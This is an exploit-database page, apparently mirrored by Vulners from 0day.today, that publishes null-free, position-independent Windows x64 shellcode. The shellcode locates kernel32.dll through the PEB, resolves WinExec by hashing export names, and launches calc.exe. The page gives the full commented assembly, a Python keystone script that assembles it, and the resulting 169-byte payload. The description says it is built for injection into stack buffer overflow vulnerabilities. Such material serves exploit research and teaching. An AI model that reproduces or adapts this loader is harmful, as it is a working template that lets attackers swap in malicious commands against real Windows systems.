Lucene search
K

Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)

🗓️ 31 Jul 2023 00:00:00Reported by SenzeeType 
zdt
 zdt
🔗 0day.today👁 280 Views

Windows x64 shellcode dynamically resolves kernel32.dll base address via PEB and ExportTable method. No Null bytes to crash typical stack Buffer OverFlow vulnerabilities

Code
import ctypes, struct
from keystone import *


# Shellcode Author: Senzee
# Shellcode Title: Windows/x64 - PIC Null-Free Calc.exe Shellcode (169 Bytes)
# Date: 07/26/2023
# Platform: Windows x64
# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter
# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763
# Shellcode size: 169 bytes
# Shellcode Desciption: Windows x64 shellcode that dynamically resolves the base address of kernel32.dll via PEB and ExportTable method.
# Contains no Null bytes (0x00), and therefor will not crash if injected into typical stack Buffer OverFlow vulnerabilities.


CODE = (
"find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];"    # RAX stores  the value of ProcessEnvironmentBlock member in TEB, which is the PEB address
" mov rsi,[rax+0x18];"    # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure
" mov rsi,[rsi + 0x20];"    # RSI is the address of the InMemoryOrderModuleList member in the _PEB_LDR_DATA structure
" mov r9, [rsi];"    # Current module is python.exe
" mov r9, [r9];"    # Current module is ntdll.dll
" mov r9, [r9+0x20];"    # Current module is kernel32.dll
" jmp call_winexec;"

"parse_module:" # Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];" # R9 stores  the base address of the module, get the NT header offset
" xor r15, r15;"
" mov r15b, 0x88;"    # Offset to Export Directory   
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"    # Get the RVA of the export directory
" add r15, r9;"    # R14 stores  the VMA of the export directory
" mov ecx, dword ptr [r15 + 0x18];"    # ECX stores  the number of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];"    # Get the RVA of ENPT
" add r14, r9;"    # R14 stores  the VMA of ENPT

"search_function:"    # Search for a given function
" jrcxz not_found;"    # If RCX is 0, the given function is not found
" dec ecx;"    # Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];"    # RVA of function name string
" add rsi, r9;"    # RSI points to function name string

"function_hashing:"    # Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;"    # Clear DF flag

"iteration:"     # Iterate over each byte
" lodsb;"     # Copy the next byte of RSI to Al
" test al, al;"     # If reaching the end of the string
" jz compare_hash;"     # Compare hash
" ror edx, 0x0d;"     # Part of hash algorithm
" add edx, eax;"     # Part of hash algorithm
" jmp iteration;"     # Next byte

"compare_hash:"     # Compare hash
" cmp edx, r8d;"
" jnz search_function;"     # If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];"     # Ordinal table RVA
" add r10, r9;"     # Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];"     # Ordinal value -1
" mov r11d, [r15 + 0x1c];"    # RVA of EAT
" add r11, r9;"    # VMA of EAT
" mov eax, [r11 + 4*rcx];"    # RAX stores  RVA of the function
" add rax, r9;"    # RAX stores  VMA of the function
" ret;"
"not_found:"
" ret;"


"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec Hash
"    call parse_module;"     # Search and obtain address of WinExec
"    xor rcx, rcx;"
"    push rcx;"    # \0
"    mov rcx, 0x6578652e636c6163;"	  # exe.clac 
"    push rcx;"
"    lea rcx, [rsp];"    # Address of the string as the 1st argument lpCmdLine
"    xor rdx,rdx;"
"    inc rdx;"    # uCmdShow=1 as the 2nd argument 
"    sub rsp, 0x28;"
"    call rax;"     # WinExec

)


# Payload size: 169 bytes
# buf =  b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
# buf += b"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
# buf += b"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0"




ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("%d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Payload size: "+str(len(encoding))+" bytes")


counter = 0
sc = "buf =  b\""
for dec in encoding:
    if counter % 20 == 0 and counter != 0:
        sc += "\"\nbuf += b\""
    sc += "\\x{0:02x}".format(int(dec))
    counter += 1

if count % 20 > 0:
	sc += "\""  
print(sc)

print("Payload size: "+str(len(encoding))+" bytes")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
280